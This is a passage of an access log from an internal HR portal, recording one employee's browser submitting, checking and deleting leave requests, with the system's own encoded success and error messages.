/eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - 192.168.11.136 - - [03/Dec/2025:11:02:27 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E5%BE%85%E7%AD%BE" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36" 192.168.11.136 - - [03/Dec/2025:11:02:27 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - 192.168.11.136 - - [03/Dec/2025:11:03:25 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNA013&appdesc=%E8%AF%B7%E5%81%87%E7%94%B3%E8%AF%B7%E6%9F%A5%E8%AF%A2 HTTP/1.1" 200 6525 "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36" 192.168.11.136 - - [03/Dec/2025:11:03:25 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNA013&appdesc=%E8%AF%B7%E5%81%87%E7%94%B3%E8%AF%B7%E6%9F%A5%E8%AF%A2 HTTP/1.1" 200 6525 192.168.11.136 - - [03/Dec/2025:11:03:41 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNA012&appdesc=%E8%AF%B7%E5%81%87%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 20903 "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36" 192.168.11.136 - - [03/Dec/2025:11:03:41 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNA012&appdesc=%E8%AF%B7%E5%81%87%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 20903 192.168.11.136 - - [03/Dec/2025:11:03:50 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNA012&appdesc=%E8%AF%B7%E5%81%87%E7%94%B3%E8%AF%B7&ajaxcall=1&func=getShiftBeginTime&shiftdate=2025-12-03 HTTP/1.1" 200 7 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=ESNA012&appdesc=%E8%AF%B7%E5%81%87%E7%94%B3%E8%AF%B7" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36" 192.168.11.136 - - [03/Dec/2025:11:03:50 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNA012&appdesc=%E8%AF%B7%E5%81%87%E7%94%B3%E8%AF%B7&ajaxcall=1&func=getShiftBeginTime&shiftdate=2025-12-03 HTTP/1.1" 200 7 192.168.11.136 - - [03/Dec/2025:11:03:54 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNA012&appdesc=%E8%AF%B7%E5%81%87%E7%94%B3%E8%AF%B7&ajaxcall=1&func=getShiftEndTime&shiftdate=2025-12-03 HTTP/1.1" 200 7 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=ESNA012&appdesc=%E8%AF%B7%E5%81%87%E7%94%B3%E8%AF%B7" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36" 192.168.11.136 - - [03/Dec/2025:11:03:54 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNA012&appdesc=%E8%AF%B7%E5%81%87%E7%94%B3%E8%AF%B7&ajaxcall=1&func=getShiftEndTime&shiftdate=2025-12-03 HTTP/1.1" 200 7 192.168.11.136 - - [03/Dec/2025:11:04:18 +0800] "POST /eHR/ess/redirect.php?scriptname=ajax_overtime&do=CheckLeaveApplyTimeArea HTTP/1.1" 200 2 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=ESNA012&appdesc=%E8%AF%B7%E5%81%87%E7%94%B3%E8%AF%B7" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36" 192.168.11.136 - - [03/Dec/2025:11:04:18 +0800] "POST /eHR/ess/redirect.php?scriptname=ajax_overtime&do=CheckLeaveApplyTimeArea HTTP/1.1" 200 2 192.168.11.136 - - [03/Dec/2025:11:04:20 +0800] "POST /eHR/ess/redirect.php?scriptname=ESNA012&appdesc=%E8%AF%B7%E5%81%87%E7%94%B3%E8%AF%B7 HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=ESNA012&appdesc=%E8%AF%B7%E5%81%87%E7%94%B3%E8%AF%B7" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36" 192.168.11.136 - - [03/Dec/2025:11:04:20 +0800] "POST /eHR/ess/redirect.php?scriptname=ESNA012&appdesc=%E8%AF%B7%E5%81%87%E7%94%B3%E8%AF%B7 HTTP/1.1" 302 - 192.168.11.136 - - [03/Dec/2025:11:04:21 +0800] "GET /eHR/ess/redirect.php?scriptname=page_success&msgtxt=%E8%AF%B7%E5%81%87%E7%94%B3%E8%AF%B7%E6%8F%90%E4%BA%A4%E6%88%90%E5%8A%9F%2C%E8%AF%B7%E7%AD%89%E5%BE%85%E4%B8%BB%E7%AE%A1%E7%AD%BE%E6%A0%B8.%3Cbr%3E%E6%82%A8%E5%8F%AF%E4%BB%A5%E5%88%B0+%3Cstrong%3E+%3Ca+href%3D%22%3Fscriptname%3Demp_leave_apply_search%26flowseqno%3D120339%22%3E%E8%AF%B7%E5%81%87%E7%94%B3%E8%AF%B7%E6%9F%A5%E8%AF%A2+%3C%2Fa%3E%3C%2Fstrong%3E+%E6%9F%A5%E8%AF%A2%E6%89%80%E6%8F%90%E4%BA%A4%E7%9A%84%E7%94%B3%E8%AF%B7%E5%8D%95%E8%AF%A6%E6%83%85%E5%8F%8A%E6%B5%81%E7%A8%8B.&target=iframe HTTP/1.1" 200 3276 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=ESNA012&appdesc=%E8%AF%B7%E5%81%87%E7%94%B3%E8%AF%B7" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36" 192.168.11.136 - - [03/Dec/2025:11:04:21 +0800] "GET /eHR/ess/redirect.php?scriptname=page_success&msgtxt=%E8%AF%B7%E5%81%87%E7%94%B3%E8%AF%B7%E6%8F%90%E4%BA%A4%E6%88%90%E5%8A%9F%2C%E8%AF%B7%E7%AD%89%E5%BE%85%E4%B8%BB%E7%AE%A1%E7%AD%BE%E6%A0%B8.%3Cbr%3E%E6%82%A8%E5%8F%AF%E4%BB%A5%E5%88%B0+%3Cstrong%3E+%3Ca+href%3D%22%3Fscriptname%3Demp_leave_apply_search%26flowseqno%3D120339%22%3E%E8%AF%B7%E5%81%87%E7%94%B3%E8%AF%B7%E6%9F%A5%E8%AF%A2+%3C%2Fa%3E%3C%2Fstrong%3E+%E6%9F%A5%E8%AF%A2%E6%89%80%E6%8F%90%E4%BA%A4%E7%9A%84%E7%94%B3%E8%AF%B7%E5%8D%95%E8%AF%A6%E6%83%85%E5%8F%8A%E6%B5%81%E7%A8%8B.&target=iframe HTTP/1.1" 200 3276 192.168.11.136 - - [03/Dec/2025:11:04:23 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNA012&appdesc=%E8%AF%B7%E5%81%87%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 20903 "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36" 192.168.11.136 - - [03/Dec/2025:11:04:23 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNA012&appdesc=%E8%AF%B7%E5%81%87%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 20903 192.168.11.136 - - [03/Dec/2025:11:04:29 +0800] "POST /eHR/ess/redirect.php?scriptname=ajax_overtime&do=CheckLeaveApplyTimeArea HTTP/1.1" 200 2 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=ESNA012&appdesc=%E8%AF%B7%E5%81%87%E7%94%B3%E8%AF%B7" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36" 192.168.11.136 - - [03/Dec/2025:11:04:29 +0800] "POST /eHR/ess/redirect.php?scriptname=ajax_overtime&do=CheckLeaveApplyTimeArea HTTP/1.1" 200 2 192.168.11.136 - - [03/Dec/2025:11:04:31 +0800] "POST /eHR/ess/redirect.php?scriptname=ESNA012&appdesc=%E8%AF%B7%E5%81%87%E7%94%B3%E8%AF%B7 HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=ESNA012&appdesc=%E8%AF%B7%E5%81%87%E7%94%B3%E8%AF%B7" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36" 192.168.11.136 - - [03/Dec/2025:11:04:31 +0800] "POST /eHR/ess/redirect.php?scriptname=ESNA012&appdesc=%E8%AF%B7%E5%81%87%E7%94%B3%E8%AF%B7 HTTP/1.1" 302 - 192.168.11.136 - - [03/Dec/2025:11:04:32 +0800] "GET /eHR/ess/redirect.php?scriptname=page_error&msgtxt=%E8%AF%B7%E5%81%87%E5%8C%BA%E9%97%B4%E5%87%BA%E7%8E%B0%E4%B8%8E%E6%AD%A3%E5%9C%A8%E6%B5%81%E7%A8%8B%E4%B8%AD%E7%9A%84%E8%AF%B7%E5%81%87%E7%94%B3%E8%AF%B7%E8%B5%84%E6%96%99%E9%87%8D%E5%8F%A0.%5B%E7%94%B3%E8%AF%B7%E5%8D%95%E6%8F%90%E4%BA%A4%E6%88%96%E6%9A%82%E5%AD%98%E5%A4%B1%E8%B4%A5%5D&target=iframe HTTP/1.1" 200 3146 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=ESNA012&appdesc=%E8%AF%B7%E5%81%87%E7%94%B3%E8%AF%B7" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36" 192.168.11.136 - - [03/Dec/2025:11:04:32 +0800] "GET /eHR/ess/redirect.php?scriptname=page_error&msgtxt=%E8%AF%B7%E5%81%87%E5%8C%BA%E9%97%B4%E5%87%BA%E7%8E%B0%E4%B8%8E%E6%AD%A3%E5%9C%A8%E6%B5%81%E7%A8%8B%E4%B8%AD%E7%9A%84%E8%AF%B7%E5%81%87%E7%94%B3%E8%AF%B7%E8%B5%84%E6%96%99%E9%87%8D%E5%8F%A0.%5B%E7%94%B3%E8%AF%B7%E5%8D%95%E6%8F%90%E4%BA%A4%E6%88%96%E6%9A%82%E5%AD%98%E5%A4%B1%E8%B4%A5%5D&target=iframe HTTP/1.1" 200 3146 192.168.11.136 - - [03/Dec/2025:11:04:34 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNA012&appdesc=%E8%AF%B7%E5%81%87%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 20903 "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36" 192.168.11.136 - - [03/Dec/2025:11:04:34 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNA012&appdesc=%E8%AF%B7%E5%81%87%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 20903 192.168.11.136 - - [03/Dec/2025:11:04:55 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNA012&appdesc=%E8%AF%B7%E5%81%87%E7%94%B3%E8%AF%B7&ajaxcall=1&func=getShiftEndTime&shiftdate=2025-12-02 HTTP/1.1" 200 7 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=ESNA012&appdesc=%E8%AF%B7%E5%81%87%E7%94%B3%E8%AF%B7" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36" 192.168.11.136 - - [03/Dec/2025:11:04:55 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNA012&appdesc=%E8%AF%B7%E5%81%87%E7%94%B3%E8%AF%B7&ajaxcall=1&func=getShiftEndTime&shiftdate=2025-12-02 HTTP/1.1" 200 7 192.168.11.136 - - [03/Dec/2025:11:05:01 +0800] "POST /eHR/ess/redirect.php?scriptname=ajax_overtime&do=CheckLeaveApplyTimeArea HTTP/1.1" 200 2 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=ESNA012&appdesc=%E8%AF%B7%E5%81%87%E7%94%B3%E8%AF%B7" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36" 192.168.11.136 - - [03/Dec/2025:11:05:01 +0800] "POST /eHR/ess/redirect.php?scriptname=ajax_overtime&do=CheckLeaveApplyTimeArea HTTP/1.1" 200 2 192.168.11.136 - - [03/Dec/2025:11:05:03 +0800] "POST /eHR/ess/redirect.php?scriptname=ESNA012&appdesc=%E8%AF%B7%E5%81%87%E7%94%B3%E8%AF%B7 HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=ESNA012&appdesc=%E8%AF%B7%E5%81%87%E7%94%B3%E8%AF%B7" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36" 192.168.11.136 - - [03/Dec/2025:11:05:03 +0800] "POST /eHR/ess/redirect.php?scriptname=ESNA012&appdesc=%E8%AF%B7%E5%81%87%E7%94%B3%E8%AF%B7 HTTP/1.1" 302 - 192.168.11.136 - - [03/Dec/2025:11:05:04 +0800] "GET /eHR/ess/redirect.php?scriptname=page_error&msgtxt=%E8%AF%B7%E5%81%87%E5%8C%BA%E9%97%B4%E5%87%BA%E7%8E%B0%E4%B8%8E%E6%AD%A3%E5%9C%A8%E6%B5%81%E7%A8%8B%E4%B8%AD%E7%9A%84%E8%AF%B7%E5%81%87%E7%94%B3%E8%AF%B7%E8%B5%84%E6%96%99%E9%87%8D%E5%8F%A0.%5B%E7%94%B3%E8%AF%B7%E5%8D%95%E6%8F%90%E4%BA%A4%E6%88%96%E6%9A%82%E5%AD%98%E5%A4%B1%E8%B4%A5%5D&target=iframe HTTP/1.1" 200 3146 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=ESNA012&appdesc=%E8%AF%B7%E5%81%87%E7%94%B3%E8%AF%B7" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36" 192.168.11.136 - - [03/Dec/2025:11:05:04 +0800] "GET /eHR/ess/redirect.php?scriptname=page_error&msgtxt=%E8%AF%B7%E5%81%87%E5%8C%BA%E9%97%B4%E5%87%BA%E7%8E%B0%E4%B8%8E%E6%AD%A3%E5%9C%A8%E6%B5%81%E7%A8%8B%E4%B8%AD%E7%9A%84%E8%AF%B7%E5%81%87%E7%94%B3%E8%AF%B7%E8%B5%84%E6%96%99%E9%87%8D%E5%8F%A0.%5B%E7%94%B3%E8%AF%B7%E5%8D%95%E6%8F%90%E4%BA%A4%E6%88%96%E6%9A%82%E5%AD%98%E5%A4%B1%E8%B4%A5%5D&target=iframe HTTP/1.1" 200 3146 192.168.11.136 - - [03/Dec/2025:11:05:06 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNA012&appdesc=%E8%AF%B7%E5%81%87%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 20903 "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36" 192.168.11.136 - - [03/Dec/2025:11:05:06 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNA012&appdesc=%E8%AF%B7%E5%81%87%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 20903 192.168.11.136 - - [03/Dec/2025:11:05:11 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNA013&appdesc=%E8%AF%B7%E5%81%87%E7%94%B3%E8%AF%B7%E6%9F%A5%E8%AF%A2 HTTP/1.1" 200 6525 "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36" 192.168.11.136 - - [03/Dec/2025:11:05:11 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNA013&appdesc=%E8%AF%B7%E5%81%87%E7%94%B3%E8%AF%B7%E6%9F%A5%E8%AF%A2 HTTP/1.1" 200 6525 192.168.11.136 - - [03/Dec/2025:11:05:34 +0800] "POST /eHR/ess/redirect.php?scriptname=ESNA013&appdesc=%E8%AF%B7%E5%81%87%E7%94%B3%E8%AF%B7%E6%9F%A5%E8%AF%A2 HTTP/1.1" 200 9563 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=ESNA013&appdesc=%E8%AF%B7%E5%81%87%E7%94%B3%E8%AF%B7%E6%9F%A5%E8%AF%A2" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36" 192.168.11.136 - - [03/Dec/2025:11:05:34 +0800] "POST /eHR/ess/redirect.php?scriptname=ESNA013&appdesc=%E8%AF%B7%E5%81%87%E7%94%B3%E8%AF%B7%E6%9F%A5%E8%AF%A2 HTTP/1.1" 200 9563 192.168.11.136 - - [03/Dec/2025:11:05:44 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNA013&action=delete&leave_flowseqno=120339 HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=ESNA013&appdesc=%E8%AF%B7%E5%81%87%E7%94%B3%E8%AF%B7%E6%9F%A5%E8%AF%A2" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36" 192.168.11.136 - - [03/Dec/2025:11:05:44 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNA013&action=delete&leave_flowseqno=120339 HTTP/1.1" 302 - 192.168.11.136 - - [03/Dec/2025:11:05:45 +0800] "GET /eHR/ess/redirect.php?scriptname=page_success&msgtxt=%E5%96%AE%E8%99%9F%3A120339+%E7%9A%84%E7%94%B3%E8%AB%8B%E5%96%AE%E5%88%AA%E9%99%A4%E6%88%90%E5%8A%9F.&target=iframe HTTP/1.1" 200 3104 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=ESNA013&appdesc=%E8%AF%B7%E5%81%87%E7%94%B3%E8%AF%B7%E6%9F%A5%E8%AF%A2" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36" 192.168.11.136 - - [03/Dec/2025:11:05:45 +0800] "GET /eHR/ess/redirect.php?scriptname=page_success&msgtxt=%E5%96%AE%E8%99%9F%3A120339+%E7%9A%84%E7%94%B3%E8%AB%8B%E5%96%AE%E5%88%AA%E9%99%A4%E6%88%90%E5%8A%9F.&target=iframe HTTP/1.1" 200 3104 192.168.11.136 - - [03/Dec/2025:11:05:53 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNA012&appdesc=%E8%AF%B7%E5%81%87%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 20903 "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36" 192.168.11.136 - - [03/Dec/2025:11:05:53 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNA012&appdesc=%E8%AF%B7%E5%81%87%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 20903 192.168.11.136 - - [03/Dec/2025:11:06:09 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNA012&appdesc=%E8%AF%B7%E5%81%87%E7%94%B3%E8%AF%B7&ajaxcall=1&func=getShiftBeginTime&shiftdate=2025-12-03 HTTP/1.1" 200 7 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=ESNA012&appdesc=%E8%AF%B7%E5%81%87%E7%94%B3%E8%AF%B7" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36" 192.168.11.136 - - [03/Dec/2025:11:06:09 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNA012&appdesc=%E8%AF%B7%E5%81%87%E7%94%B3%E8%AF%B7&ajaxcall=1&func=getShiftBeginTime&shiftdate=2025-12-03 HTTP/1.1" 200 7 192.168.11.136 - - [03/Dec/2025:11:06:12 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNA012&appdesc=%E8%AF%B7%E5%81%87%E7%94%B3%E8%AF%B7&ajaxcall=1&func=getShiftEndTime&shiftdate=2025-12-03 HTTP/1.1" 200 7 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=ESNA012&appdesc=%E8%AF%B7%E5%81%87%E7%94%B3%E8%AF%B7" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36" 192.168.11.136 - - [03/Dec/2025:11:06:12 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNA012&appdesc=%E8%AF%B7%E5%81%87%E7%94%B3%E8%AF%B7&ajaxcall=1&func=getShiftEndTime&shiftdate=2025-12-03 HTTP/1.1" 200 7 192.168.11.136 - - [03/Dec/2025:11:06:29 +0800] "POST /eHR/ess/redirect.php?scriptname=ajax_overtime&do=CheckLeaveApplyTimeArea HTTP/1.1" 200 2 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=ESNA012&appdesc=%E8%AF%B7%E5%81%87%E7%94%B3%E8%AF%B7" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36" 192.168.11.136 - - [03/Dec/2025:11:06:29 +0800] "POST /eHR/ess/redirect.php?scriptname=ajax_overtime&do=CheckLeaveApplyTimeArea HTTP/1.1" 200 2 192.168.11.136 - - [03/Dec/2025:11:06:31 +0800] "POST /eHR/ess/redirect.php?scriptname=ESNA012&appdesc=%E8%AF%B7%E5%81%87%E7%94%B3%E8%AF%B7 HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=ESNA012&appdesc=%E8%AF%B7%E5%81%87%E7%94%B3%E8%AF%B7" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36" 192.168.11.136 - - [03/Dec/2025:11:06:31 +0800] "POST /eHR/ess/redirect.php?scriptname=ESNA012&appdesc=%E8%AF%B7%E5%81%87%E7%94%B3%E8%AF%B7 HTTP/1.1" 302 - 192.168.11.136 - - [03/Dec/2025:11:06:32 +0800] "GET /eHR/ess/redirect.php?scriptname=page_success&msgtxt=%E8%AF%B7%E5%81%87%E7%94%B3%E8%AF%B7%E6%8F%90%E4%BA%A4%E6%88%90%E5%8A%9F%2C%E8%AF%B7%E7%AD%89%E5%BE%85%E4%B8%BB%E7%AE%A1%E7%AD%BE%E6%A0%B8.%3Cbr%3E%E6%82%A8%E5%8F%AF%E4%BB%A5%E5%88%B0+%3Cstrong%3E+%3Ca+href%3D%22%3Fscriptname%3Demp_leave_apply_search%26flowseqno%3D120340%22%3E%E8%AF%B7%E5%81%87%E7%94%B3%E8%AF%B7%E6%9F%A5%E8%AF%A2+%3C%2Fa%3E%3C%2Fstrong%3E+%E6%9F%A5%E8%AF%A2%E6%89%80%E6%8F%90%E4%BA%A4%E7%9A%84%E7%94%B3%E8%AF%B7%E5%8D%95%E8%AF%A6%E6%83%85%E5%8F%8A%E6%B5%81%E7%A8%8B.&target=iframe HTTP/1.1" 200 3276 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=ESNA012&appdesc=%E8%AF%B7%E5%81%87%E7%94%B3%E8%AF%B7" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36" 192.168.11.136 - - [03/Dec/2025:11:06:32 +0800] "GET /eHR/ess/redirect.php?scriptname=page_success&msgtxt=%E8%AF%B7%E5%81%87%E7%94%B3%E8%AF%B7%E6%8F%90%E4%BA%A4%E6%88%90%E5%8A%9F%2C%E8%AF%B7%E7%AD%89%E5%BE%85%E4%B8%BB%E7%AE%A1%E7%AD%BE%E6%A0%B8.%3Cbr%3E%E6%82%A8%E5%8F%AF%E4%BB%A5%E5%88%B0+%3Cstrong%3E+%3Ca+href%3D%22%3Fscriptname%3Demp_leave_apply_search%26flowseqno%3D120340%22%3E%E8%AF%B7%E5%81%87%E7%94%B3%E8%AF%B7%E6%9F%A5%E8%AF%A2+%3C%2Fa%3E%3C%2Fstrong%3E+%E6%9F%A5%E8%AF%A2%E6%89%80%E6%8F%90%E4%BA%A4%E7%9A%84%E7%94%B3%E8%AF%B7%E5%8D%95%E8%AF%A6%E6%83%85%E5%8F%8A%E6%B5%81%E7%A8%8B.&target=iframe HTTP/1.1" 200 3276 192.168.11.136 - - [03/Dec/2025:11:06:34 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNA012&appdesc=%E8%AF%B7%E5%81%87%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 20903 "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36" 192.168.11.136 - - [03/Dec/2025:11:06:34 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNA012&appdesc=%E8%AF%B7%E5%81%87%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 20903 192.168.11.136 - - [03/Dec/2025:11:06:40 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNA012&appdesc=%E8%AF%B7%E5%81%87%E7%94%B3%E8%AF%B7&ajaxcall=1&func=getShiftBeginTime&shiftdate=2025-12-02 HTTP/1.1" 200 7 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=ESNA012&appdesc=%E8%AF%B7%E5%81%87%E7%94%B3%E8%AF%B7" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36" 192.168.11.136 - - [03/Dec/2025:11:06:40 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNA012&appdesc=%E8%AF%B7%E5%81%87%E7%94%B3%E8%AF%B7&ajaxcall=1&func=getShiftBeginTime&shiftdate=2025-12-02 HTTP/1.1" 200 7 192.168.40.34 - - [03/Dec/2025:11:06:55 +0800] "GET /eHR/ess/index.php?action=logout HTTP/1.1" 200 8826 "-" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.40.34 - - [03/Dec/2025:11:06:55 +0800] "GET /eHR/ess/index.php?action=logout HTTP/1.1" 200 8826 192.168.11.136 - - [03/Dec/2025:11:07:03 +0800] "POST /eHR/ess/redirect.php?scriptname=ajax_overtime&do=CheckLeaveApplyTimeArea HTTP/1.1" 200 2 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=ESNA012&appdesc=%E8%AF%B7%E5%81%87%E7%94%B3%E8%AF%B7" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36" 192.168.11.136 - - [03/Dec/2025:11:07:03 +0800] "POST /eHR/ess/redirect.php?scriptname=ajax_overtime&do=CheckLeaveApplyTimeArea HTTP/1.1" 200 2 192.168.11.136 - - [03/Dec/2025:11:07:05 +0800] "POST /eHR/ess/redirect.php?scriptname=ESNA012&appdesc=%E8%AF%B7%E5%81%87%E7%94%B3%E8%AF%B7 HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=ESNA012&appdesc=%E8%AF%B7%E5%81%87%E7%94%B3%E8%AF%B7" "Mozilla/5.0 (Windows NT 10.0; Win64; 